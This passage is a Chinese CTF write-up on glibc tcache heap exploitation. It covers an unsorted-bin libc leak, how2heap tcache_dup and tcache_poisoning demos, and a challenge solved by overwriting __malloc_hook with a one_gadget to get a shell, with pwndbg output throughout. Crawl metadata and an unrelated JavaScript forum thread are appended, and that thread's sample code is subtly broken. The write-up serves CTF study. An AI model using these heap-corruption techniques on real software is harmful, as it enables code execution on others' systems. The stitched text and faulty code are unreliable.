new(0x10,'aaaa') new(0x110,'aaaa') free(0) for i in range(8): new(0x10-i,'a'*(0x10-i)) free(0) raw_input() pwndbg> parseheap addr prev size status fd bk 0x560894f1f000 0x0 0x20 Freed 0x61616161616161610x6161616161616161 0x560894f1f020 0x130 0x100 Freed 0x61616161 0x0 Corrupt ?! (size == 0) (0x560894f1f120) pwndbg> x/8x 0x560894f1f000 0x560894f1f000: 0x0000000000000000 0x0000000000000021 0x560894f1f010: 0x6161616161616161 0x6161616161616161 0x560894f1f020: 0x0000000000000130 0x0000000000000100 0x560894f1f030: 0x0000000061616161 0x0000000000000000 接着我们需要libc_base来方便后面的操作,我们可以看到在new中对size的检验范围十分大,这时我们可以通过unsort_bin_attack来泄露一个紧贴libc的地址 ,之后我们可以通过调试得到这个地址与libc_base的偏移,就相当与泄露出了libc_base printf("Size:"); size = input(); if ( size > 0x2000 ) exit(-2); note_chunk = malloc(size); 我们简单的做个unsort_bin_attack尝试把这个地址写入到chunk上 #poc new(0x500,'aaaaa') new(0x10,'bbbb') free(1) free(0) pwndbg> parseheap addr prev size status fd bk 0x55763fe59000 0x0 0x250 Used None None 0x55763fe59250 0x0 0x510 Freed 0x7f74dac85c78 0x7f74dac85c78 0x55763fe59760 0x510 0x20 Used None None pwndbg> x/8x 0x55763fe59250 0x55763fe59250: 0x0000000000000000 0x0000000000000511 0x55763fe59260: 0x00007f74dac85c78 0x00007f74dac85c78 <== 0x55763fe59270: 0x0000000000000000 0x0000000000000000 0x55763fe59280: 0xdadadadadadadada 0xdadadadadadadada 有了这些条件后我们便可以去泄露libc了,我们用图演示下流程 #free before pwndbg> parseheap addr prev size status fd bk 0x55a2d6e3a000 0x0 0x250 Used None None 0x55a2d6e3a250 0x0 0x510 Freed 0x7fba63b37c78 0x7fba63b37c78 0x55a2d6e3a760 0x510 0x30 Freed 0x61616161616161610x6161616161616161 0x55a2d6e3a790 0x540 0x500 Used None None 0x55a2d6e3ac90 0x0 0x20 Used None None pwndbg> x/8x 0x55a2d6e3a760 0x55a2d6e3a760: 0x0000000000000510 0x0000000000000030 0x55a2d6e3a770: 0x6161616161616161 0x6161616161616161 0x55a2d6e3a780: 0x6161616161616161 0x6161616161616161 0x55a2d6e3a790: 0x0000000000000540 0x0000000000000500 pwndbg> x/8x 0x55a2d6e3a790 0x55a2d6e3a790: 0x0000000000000540 0x0000000000000500 0x55a2d6e3a7a0: 0x0000000063636363 0x0000000000000000 0x55a2d6e3a7b0: 0x0000000000000000 0x0000000000000000 0x55a2d6e3a7c0: 0x0000000000000000 0x0000000000000000 #free after pwndbg> parseheap addr prev size status fd bk 0x563204289000 0x0 0x250 Used None None 0x563204289250 0x0 0xa40 Freed 0x7f01905acc78 0x7f01905acc78 0x563204289c90 0xa40 0x20 Used None None pwndbg> x/8x 0x563204289250 0x563204289250: 0x0000000000000000 0x0000000000000a41 0x563204289260: 0x00007f01905acc78 0x00007f01905acc78 0x563204289270: 0x0000000000000000 0x0000000000000000 0x563204289280: 0xdadadadadadadada 0xdadadadadadadada pwndbg> 这时我们再新建一个chunk分配大小和chunk0一样时,chunk就会分配到chunk0所在的位置,这时我们show(0)即可leak_libc 这样我们所有的前置工作就做好了,接着就是通过tcache_dup和tcache_poisoning来getshell了 首先我们先通过how2heap了解下 #include <stdio.h> #include <stdlib.h> //tcache_dup int main() { fprintf(stderr, "This file demonstrates a simple double-free attack with tcache.\n"); fprintf(stderr, "Allocating buffer.\n"); int *a = malloc(8); fprintf(stderr, "malloc(8): %p\n", a); fprintf(stderr, "Freeing twice...\n"); free(a); free(a); fprintf(stderr, "Now the free list has [ %p, %p ].\n", a, a); fprintf(stderr, "Next allocated buffers will be same: [ %p, %p ].\n", malloc(8), malloc(8)); return 0; } #include <stdio.h> #include <stdlib.h> #include <stdint.h> // tcache poisoning int main() { "This file demonstrates a simple tcache poisoning attack by tricking malloc into" "returning a pointer to an arbitrary location (in this case, the stack)." "The attack is very similar to fastbin corruption attack." size_t stack_var; fprintf(stderr, "The address we want malloc() to return is %p.\n", (char *)&stack_var); "Allocating 1 buffer." intptr_t *a = malloc(128); fprintf(stderr, "malloc(128): %p\n", a); "Freeing the buffer..." free(a); fprintf(stderr, "Now the tcache list has [ %p ].\n", a); fprintf(stderr, "We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n" "to point to the location to control (%p).\n", sizeof(intptr_t), a, &stack_var); a[0] = (intptr_t)&stack_var; fprintf(stderr, "1st malloc(128): %p\n", malloc(128)); fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var); intptr_t *b = malloc(128); fprintf(stderr, "2nd malloc(128): %p\n", b); "We got the control" return 0; } 我们可以很明显的感受到tcache_dup就是弱化版的fastbin_double_free,我们先看一下源码相关的函数 tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); assert (tc_idx < TCACHE_MAX_BINS); e->next = tcache->entries[tc_idx]; tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); } 这就是我之前所说过引入tcache机制降低了安全性的一个体现,本来应该要有tcache->counts[tc_idx] 的相关检验,却为提升效率而去掉了,这也侧面的说明安全和性能处在一个此消彼长的状态 我们简单的调试下tcache_dup pwndbg> heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x55a661cd5270 (size : 0x20d90) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x20) tcache_entry[0]: 0x55a661cd5260 --> 0x55a661cd5260 (overlap chunk with 0x55a661cd5250(freed) ) 我们直接free两次同一个chunk,就能直接得到两个指向同一块内存区域的指针,这无疑比正常在fastbin下的double free简易许多 接着我们看下tcache_poisoning,简单来说tcache_poisoning就是一个通过覆盖tcache_next就直接可以malloc到任意地址去将其覆盖为one_gadget或是别的东西去进行利用的一个很万金油的用法,我们调试下how2heap给的程序 pwndbg> heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x55a464be82e0 (size : 0x20d20) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x90) tcache_entry[7]: 0x55a464be8260 它先往tcache里面放了一个0x80的chunk,然后我们再看下修改了tcache_next后的tcache_entry是怎么样的 ────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────── 20 fprintf(stderr, "Now the tcache list has [ %p ].\n", a); 21 fprintf(stderr, "We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n" 22 "to point to the location to control (%p).\n", sizeof(intptr_t), a, &stack_var); 23 a[0] = (intptr_t)&stack_var; 2425 fprintf(stderr, "1st malloc(128): %p\n", malloc(128)); 26 fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var); 27 28 intptr_t *b = malloc(128); 29 fprintf(stderr, "2nd malloc(128): %p\n", b); 30 fprintf(stderr, "We got the control\n"); ────────────────────────────────────────[ STACK ]─────────────────────────────────────────────── 00:0000│ rdx rsp 0x7ffe99bc1bb0 —▸ 0x55a4635689a0 (__libc_csu_init) ◂— push r15 01:0008│ 0x7ffe99bc1bb8 —▸ 0x55a464be8260 —▸ 0x7ffe99bc1bb0 —▸ 0x55a4635689a0 (__libc_csu_init) ◂— push r15 02:0010│ 0x7ffe99bc1bc0 —▸ 0x7ffe99bc1cb0 ◂— 0x1 03:0018│ 0x7ffe99bc1bc8 ◂— 0xad94ca33a5db2a00 04:0020│ rbp 0x7ffe99bc1bd0 —▸ 0x55a4635689a0 (__libc_csu_init) ◂— push r15 05:0028│ 0x7ffe99bc1bd8 —▸ 0x7f6dd0a631c1 (__libc_start_main+241) ◂— mov edi, eax 06:0030│ 0x7ffe99bc1be0 ◂— 0x40000 07:0038│ 0x7ffe99bc1be8 —▸ 0x7ffe99bc1cb8 —▸ 0x7ffe99bc2912 ◂— 0x74632f656d6f682f ('/home/ct') pwndbg> heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x55a464be82e0 (size : 0x20d20) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x90) tcache_entry[7]: 0x55a464be8260 --> 0x7ffe99bc1bb0 --> 0x55a4635689a0 我们可以看见设置的栈地址放在了tcache_entry的第二个堆,这时我们只要new两个0x80大小的chunk就可以控制tcache_next所在的空间 我们拿个例题来看看,这是山东省科来杯的一道简单pwn题,由于他给的libc就叫libc-2.27所以我们直接用ubuntu18.04的环境去调试,首先我们先看下题目的基本信息 ➜ bbtcache file bb_tcache bb_tcache: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=642e76244eb176cccd3e281014f18a7ea7551682, stripped ➜ bbtcache checksec bb_tcache [*] '/home/Ep3ius/pwn/process/bbtcache/bb_tcache' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled 我们接着反编译分析一下题目 void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { unsigned int i; // [rsp+Ch] [rbp-14h] int choice; // [rsp+10h] [rbp-10h] void *chunk; // [rsp+18h] [rbp-8h] setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); i = 0; puts("Welcome to easy heap game!"); printf("I think you might need this: 0x%016llx\n", &system); while ( i != 7 ) { menu(++i); choice = fgets_input(); if ( choice == 2 ) // free { free(chunk); } else if ( choice == 3 ) // write { puts("You might need this to tamper something."); read(0, chunk, 8uLL); } else { if ( choice != 1 ) // new exit(0); chunk = malloc(0x10uLL); } } puts("Game over!"); exit(0); } 程序逻辑十分清晰,一共七次机会进行new、free、write的操作来getshell,由于除了次数没有任何限制,所以我们能很直接的体会到tcache机制所带来的安全方面问题,我们先做个标准的tcache_poisoning起手式,先放一个堆块到tcache_entry pwndbg> heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x556b70596270 (size : 0x20d90) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x20) tcache_entry[0]: 0x556b70596260 接着我们通过write操作去修改一下tcache_next为&malloc_hook pwndbg> heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x556b70596270 (size : 0x20d90) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x20) tcache_entry[0]: 0x556b70596260 --> 0x7f2d9da10c10 (&__malloc_hook) 接着new两次把tcache从取出并把malloc_hook修改成one_gadget后new一个新chunk触发malloc_hook就可以getshell了,很简单又直接的题目吧。 我们回到children_tcache,先做个tcache_dup,也就是对我们之前插在两个unsort_bin中间的chunk进行两次free pwndbg> parseheap addr prev size status fd bk 0x564f27df9000 0x0 0x250 Used None None 0x564f27df9250 0x0 0x510 Used None None 0x564f27df9760 0x510 0x30 Used None None 0x564f27df9790 0xdadadadadadadada 0x4f0 Freed 0x7fa26b599c78 0x7fa26b599c78 0x564f27df9c80 0x4f0 0x20 Used None None pwndbg> heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x556e12172ca0 (size : 0x20360) last_remainder: 0x556e12172790 (size : 0x4f0) unsortbin: 0x556e12172790 (size : 0x4f0) (0x30) tcache_entry[1]: 0x556e12172770 pwndbg> 接着我们只要free(2)就相当于获得了两个指向0x556e12172770的指针 pwndbg> heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x556e12172ca0 (size : 0x20360) last_remainder: 0x556e12172790 (size : 0x4f0) unsortbin: 0x556e12172790 (size : 0x4f0) (0x30) tcache_entry[1]: 0x556e12172770 --> 0x556e12172770 (overlap chunk with 0x556e12172760(freed) ) 接着我们就可以new一个新tcache里面存放malloc_hook然后通过tcache_poisoning就可以把malloc_hook修改为one_gadget,再new一个新chunk就可以getshell了。 在不断的挖掘tcache机制就会遇到更多更有意思的东西,虽然降低安全性但也变得更加有趣了(滑稽) 感谢M4x师傅,kirin师傅,Hpasserby师傅的知识分享 相关链接 调试环境 : nepire-pwn (将~/nepire-pwn/DOCKER/Dockerfile第一行的16.04 换成17.10或更高即可调试tcache) 调试器:PWNDBG 关键词:[‘安全技术’, ‘CTF’] author 旭达网络 旭达网络技术博客,曾记录各种技术问题,一贴搞定. 本文采用知识共享署名 4.0 国际许可协议进行许可。 We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you! I've whitelisted your website. Not now
{ "url": "https://www.xd10086.com/posts/-4018893023106241265/", "source_domain": "www.xd10086.com", "snapshot_id": "crawl=CC-MAIN-2019-22", "warc_metadata": { "Content-Length": "72591", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:HN4JB4SV3E4TYQEWPWNVW6UGZGIYS2BG", "WARC-Concurrent-To": "<urn:uuid:3c667b24-24b9-44e1-89de-2c6b9eeee808>", "WARC-Date": "2019-05-23T07:11:13Z", "WARC-IP-Address": "120.79.168.212", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:D6X2YT74ZZO66LP7FOSWKAOM3OQBK5OG", "WARC-Record-ID": "<urn:uuid:561d702a-f925-4d10-bf46-92371a9533db>", "WARC-Target-URI": "https://www.xd10086.com/posts/-4018893023106241265/", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:8f6fcdb7-3415-4c72-80bb-2fdd080c7b81>" }, "warc_info": "isPartOf: CC-MAIN-2019-22\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-99-168-2.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 15, 16, 46, 47, 123, 124, 139, 140, 143, 144, 233, 234, 243, 244, 325, 326, 387, 388, 458, 510, 538, 540, 569, 585, 586, 647, 711, 782, 848, 895, 934, 936, 968, 1010, 1037, 1038, 1094, 1095, 1218, 1219, 1302, 1375, 1376, 1429, 1430, 1462, 1682, 1718, 1765, 1795, 1823, 1850, 1875, 1901, 1923, 1924, 1952, 1953, 1982, 2010, 2034, 2062, 2090, 2118, 2147, 2176, 2204, 2219, 2227, 2237, 2238, 2284, 2285, 2296, 2298, 2338, 2383, 2433, 2470, 2517, 2518, 2547, 2577, 2600, 2604, 2621, 2627, 2645, 2659, 2665, 2685, 2698, 2702, 2721, 2739, 2762, 2776, 2805, 2826, 2840, 2859, 2889, 2917, 2941, 2964, 2966, 2967, 3064, 3065, 3070, 3086, 3104, 3116, 3117, 3125, 3144, 3156, 3174, 3276, 3380, 3484, 3588, 3589, 3607, 3712, 3816, 3920, 4024, 4064, 4092, 4147, 4202, 4257, 4312, 4313, 4341, 4396, 4451, 4541, 4596, 4597, 4651, 4652, 4666, 4668, 4713, 4714, 4734, 4751, 4768, 4782, 4801, 4805, 4850, 4871, 4892, 4918, 4922, 4936, 4938, 4939, 5021, 5022, 5027, 5044, 5062, 5070, 5089, 5118, 5130, 5142, 5160, 5262, 5366, 5470, 5510, 5538, 5593, 5648, 5703, 5758, 5759, 5897, 5898, 5915, 5933, 5956, 5970, 5999, 6000, 6041, 6042, 6047, 6066, 6083, 6091, 6099, 6117, 6219, 6323, 6427, 6531, 6559, 6614, 6673, 6728, 6783, 6784, 6815, 6816, 6829, 6847, 6949, 7053, 7157, 7261, 7365, 7469, 7497, 7552, 7607, 7662, 7717, 7745, 7800, 7855, 7910, 7965, 7966, 7978, 7996, 8098, 8202, 8306, 8410, 8438, 8493, 8548, 8603, 8658, 8666, 8667, 8741, 8742, 8802, 8803, 8822, 8823, 8842, 8862, 8875, 8886, 8888, 8978, 8979, 9024, 9048, 9049, 9092, 9135, 9148, 9161, 9162, 9228, 9325, 9326, 9340, 9342, 9361, 9381, 9401, 9421, 9432, 9434, 9520, 9598, 9661, 9662, 9684, 9776, 9777, 9804, 9835, 9880, 9908, 9921, 9922, 9983, 10076, 10165, 10198, 10199, 10258, 10328, 10329, 10360, 10409, 10434, 10448, 10450, 10451, 10512, 10513, 10557, 10559, 10619, 10660, 10701, 10736, 10770, 10772, 10773, 10874, 10875, 10894, 10895, 10912, 10939, 10966, 10993, 11020, 11047, 11074, 11101, 11128, 11155, 11182, 11238, 11279, 11306, 11410, 11411, 11483, 11484, 11618, 11619, 11636, 11663, 11690, 11717, 11744, 11771, 11798, 11825, 11852, 11879, 11906, 11962, 12003, 12030, 12071, 12072, 12139, 12140, 12238, 12303, 12400, 12493, 12530, 12595, 12669, 12676, 12711, 12764, 12813, 12910, 12993, 13112, 13170, 13225, 13308, 13402, 13446, 13550, 13567, 13594, 13621, 13648, 13675, 13702, 13729, 13756, 13783, 13810, 13837, 13893, 13934, 13961, 14040, 14041, 14119, 14120, 14208, 14209, 14237, 14451, 14483, 14533, 14563, 14591, 14618, 14643, 14669, 14670, 14684, 14685, 14751, 14753, 14793, 14830, 14867, 14868, 14900, 14931, 14963, 14972, 15010, 15073, 15092, 15096, 15111, 15139, 15195, 15201, 15220, 15226, 15283, 15289, 15345, 15373, 15379, 15388, 15394, 15449, 15466, 15497, 15503, 15507, 15529, 15540, 15542, 15543, 15679, 15680, 15697, 15724, 15751, 15778, 15805, 15832, 15859, 15886, 15913, 15940, 15967, 16023, 16064, 16091, 16132, 16133, 16176, 16177, 16194, 16221, 16248, 16275, 16302, 16329, 16356, 16383, 16410, 16437, 16464, 16520, 16561, 16588, 16665, 16666, 16759, 16760, 16833, 16834, 16852, 16955, 17059, 17163, 17267, 17371, 17475, 17492, 17519, 17546, 17573, 17600, 17627, 17654, 17681, 17708, 17735, 17762, 17818, 17872, 17925, 17966, 17974, 17975, 18017, 18018, 18035, 18062, 18089, 18116, 18143, 18170, 18197, 18224, 18251, 18278, 18305, 18361, 18415, 18468, 18572, 18573, 18682, 18683, 18732, 18733, 18766, 18767, 18772, 18773, 18855, 18856, 18867, 18868, 18888, 18889, 18890, 18897, 18898, 18903, 18904, 18929, 18956, 18957, 19138, 19139, 19170, 19171 ], "line_end_idx": [ 15, 16, 46, 47, 123, 124, 139, 140, 143, 144, 233, 234, 243, 244, 325, 326, 387, 388, 458, 510, 538, 540, 569, 585, 586, 647, 711, 782, 848, 895, 934, 936, 968, 1010, 1037, 1038, 1094, 1095, 1218, 1219, 1302, 1375, 1376, 1429, 1430, 1462, 1682, 1718, 1765, 1795, 1823, 1850, 1875, 1901, 1923, 1924, 1952, 1953, 1982, 2010, 2034, 2062, 2090, 2118, 2147, 2176, 2204, 2219, 2227, 2237, 2238, 2284, 2285, 2296, 2298, 2338, 2383, 2433, 2470, 2517, 2518, 2547, 2577, 2600, 2604, 2621, 2627, 2645, 2659, 2665, 2685, 2698, 2702, 2721, 2739, 2762, 2776, 2805, 2826, 2840, 2859, 2889, 2917, 2941, 2964, 2966, 2967, 3064, 3065, 3070, 3086, 3104, 3116, 3117, 3125, 3144, 3156, 3174, 3276, 3380, 3484, 3588, 3589, 3607, 3712, 3816, 3920, 4024, 4064, 4092, 4147, 4202, 4257, 4312, 4313, 4341, 4396, 4451, 4541, 4596, 4597, 4651, 4652, 4666, 4668, 4713, 4714, 4734, 4751, 4768, 4782, 4801, 4805, 4850, 4871, 4892, 4918, 4922, 4936, 4938, 4939, 5021, 5022, 5027, 5044, 5062, 5070, 5089, 5118, 5130, 5142, 5160, 5262, 5366, 5470, 5510, 5538, 5593, 5648, 5703, 5758, 5759, 5897, 5898, 5915, 5933, 5956, 5970, 5999, 6000, 6041, 6042, 6047, 6066, 6083, 6091, 6099, 6117, 6219, 6323, 6427, 6531, 6559, 6614, 6673, 6728, 6783, 6784, 6815, 6816, 6829, 6847, 6949, 7053, 7157, 7261, 7365, 7469, 7497, 7552, 7607, 7662, 7717, 7745, 7800, 7855, 7910, 7965, 7966, 7978, 7996, 8098, 8202, 8306, 8410, 8438, 8493, 8548, 8603, 8658, 8666, 8667, 8741, 8742, 8802, 8803, 8822, 8823, 8842, 8862, 8875, 8886, 8888, 8978, 8979, 9024, 9048, 9049, 9092, 9135, 9148, 9161, 9162, 9228, 9325, 9326, 9340, 9342, 9361, 9381, 9401, 9421, 9432, 9434, 9520, 9598, 9661, 9662, 9684, 9776, 9777, 9804, 9835, 9880, 9908, 9921, 9922, 9983, 10076, 10165, 10198, 10199, 10258, 10328, 10329, 10360, 10409, 10434, 10448, 10450, 10451, 10512, 10513, 10557, 10559, 10619, 10660, 10701, 10736, 10770, 10772, 10773, 10874, 10875, 10894, 10895, 10912, 10939, 10966, 10993, 11020, 11047, 11074, 11101, 11128, 11155, 11182, 11238, 11279, 11306, 11410, 11411, 11483, 11484, 11618, 11619, 11636, 11663, 11690, 11717, 11744, 11771, 11798, 11825, 11852, 11879, 11906, 11962, 12003, 12030, 12071, 12072, 12139, 12140, 12238, 12303, 12400, 12493, 12530, 12595, 12669, 12676, 12711, 12764, 12813, 12910, 12993, 13112, 13170, 13225, 13308, 13402, 13446, 13550, 13567, 13594, 13621, 13648, 13675, 13702, 13729, 13756, 13783, 13810, 13837, 13893, 13934, 13961, 14040, 14041, 14119, 14120, 14208, 14209, 14237, 14451, 14483, 14533, 14563, 14591, 14618, 14643, 14669, 14670, 14684, 14685, 14751, 14753, 14793, 14830, 14867, 14868, 14900, 14931, 14963, 14972, 15010, 15073, 15092, 15096, 15111, 15139, 15195, 15201, 15220, 15226, 15283, 15289, 15345, 15373, 15379, 15388, 15394, 15449, 15466, 15497, 15503, 15507, 15529, 15540, 15542, 15543, 15679, 15680, 15697, 15724, 15751, 15778, 15805, 15832, 15859, 15886, 15913, 15940, 15967, 16023, 16064, 16091, 16132, 16133, 16176, 16177, 16194, 16221, 16248, 16275, 16302, 16329, 16356, 16383, 16410, 16437, 16464, 16520, 16561, 16588, 16665, 16666, 16759, 16760, 16833, 16834, 16852, 16955, 17059, 17163, 17267, 17371, 17475, 17492, 17519, 17546, 17573, 17600, 17627, 17654, 17681, 17708, 17735, 17762, 17818, 17872, 17925, 17966, 17974, 17975, 18017, 18018, 18035, 18062, 18089, 18116, 18143, 18170, 18197, 18224, 18251, 18278, 18305, 18361, 18415, 18468, 18572, 18573, 18682, 18683, 18732, 18733, 18766, 18767, 18772, 18773, 18855, 18856, 18867, 18868, 18888, 18889, 18890, 18897, 18898, 18903, 18904, 18929, 18956, 18957, 19138, 19139, 19170, 19171, 19178 ] }
{ "red_pajama_v2": { "ccnet_original_length": 19178, "ccnet_original_nlines": 550, "rps_doc_curly_bracket": 0.0015642900252714753, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.07865854352712631, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.013109760358929634, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.49908536672592163, "rps_doc_frac_unique_words": 0.38179436326026917, "rps_doc_mean_word_length": 8.051735877990723, "rps_doc_num_sentences": 62, "rps_doc_symbol_to_word_ratio": 0.003658540081232786, "rps_doc_unigram_entropy": 5.742644786834717, "rps_doc_word_count": 1527, "rps_doc_frac_chars_dupe_10grams": 0.2122000753879547, "rps_doc_frac_chars_dupe_5grams": 0.30809271335601807, "rps_doc_frac_chars_dupe_6grams": 0.28426191210746765, "rps_doc_frac_chars_dupe_7grams": 0.27523383498191833, "rps_doc_frac_chars_dupe_8grams": 0.26710045337677, "rps_doc_frac_chars_dupe_9grams": 0.23798291385173798, "rps_doc_frac_chars_top_2gram": 0.009760069660842419, "rps_doc_frac_chars_top_3gram": 0.014640100300312042, "rps_doc_frac_chars_top_4gram": 0.013094750232994556, "rps_doc_books_importance": -1645.6943359375, "rps_doc_books_importance_length_correction": -1645.6943359375, "rps_doc_openwebtext_importance": -969.050537109375, "rps_doc_openwebtext_importance_length_correction": -969.050537109375, "rps_doc_wikipedia_importance": -858.7037353515625, "rps_doc_wikipedia_importance_length_correction": -858.7037353515625 }, "fasttext": { "dclm": 0.09554343670606613, "english": 0.22222764790058136, "fineweb_edu_approx": 1.8243829011917114, "eai_general_math": 0.05479323863983154, "eai_open_web_math": 0.10207504034042358, "eai_web_code": 0.7809025049209595 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.74", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "005.1", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "4", "label": "Analyze" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "2", "label": "Click Here References" } }, "document_type_v2": { "primary": { "code": "23", "label": "Tutorial" }, "secondary": { "code": "10", "label": "Knowledge Article" } }, "reasoning_depth": { "primary": { "code": "4", "label": "Advanced Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "4", "label": "Graduate/Expert Level" }, "secondary": { "code": "3", "label": "Undergraduate Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
4,075,810,473,456,982,000
Go4Expert Go4Expert (http://www.go4expert.com/) -   Web Design, HTML And CSS Forums (http://www.go4expert.com/forums/web-design-forum/) -   -   how to do this (http://www.go4expert.com/forums/how-to-do-this-t509/) prashantSum 16Nov2005 16:29 how to do this   I am using a popup window in this I may be having n number of input checkboxes(here I have taken 4) like this <input type='checkbox' name='comments1' value='0' /> so I will be naming it comments1, comments2, and so on..... and now to return it's values to parent window I am using this function function Done() { if (comments1.checked) MyArgs[1][0] = 1; else MyArgs[1][0] = 0; if (comments2.checked) MyArgs[1][1] = 1; else MyArgs[1][1] = 0; if (comments3.checked) MyArgs[1][2] = 1; else MyArgs[1][2] = 0; if (comments4.checked) MyArgs[1][3] = 1; else MyArgs[1][3] = 0; window.returnValue = MyArgs; window.close(); } now can do something like if ( comments + i . checked) (not exactly like this ) I want to put it in a loop until the length of comments ( that is may be 1 .. 10, length I can determine) . pradeep 18Nov2005 12:41 Re: how to do this   You can loop through the form elements and use a bit of regular expression to get as many checkbox values you want. Example: Code: var myArgs[1] = {};  fucntion Collect(oForm)  {   var e=oForm.elements;   for(var i=0;i<e.length;i++)   {         if(e[i].type="checkbox" && e[i].name.match(/^comments([\d]+)$/))         {           if(e[i].checked)                 myArgs[1][RegExp.$1] = 1;           else                 myArgs[1][RegExp.$1] = 0;         }  }    //calling the function  Collect(document.forms[0]); Hope this is useful. http://spradeep.blogspot.com prashantSum 18Nov2005 17:15 Re: how to do this   thx for reply pradeep, actually I have completed that task by some other way, but what you have given is intresting I would like to work on it later...and ask any doubts one immediate for me when I am looking at script is ( as not aware of RE in java script) ' RegExp.$1' do I need to place it as it is or is there any to I need to replace there.. All times are GMT +5.5. The time now is 22:10.
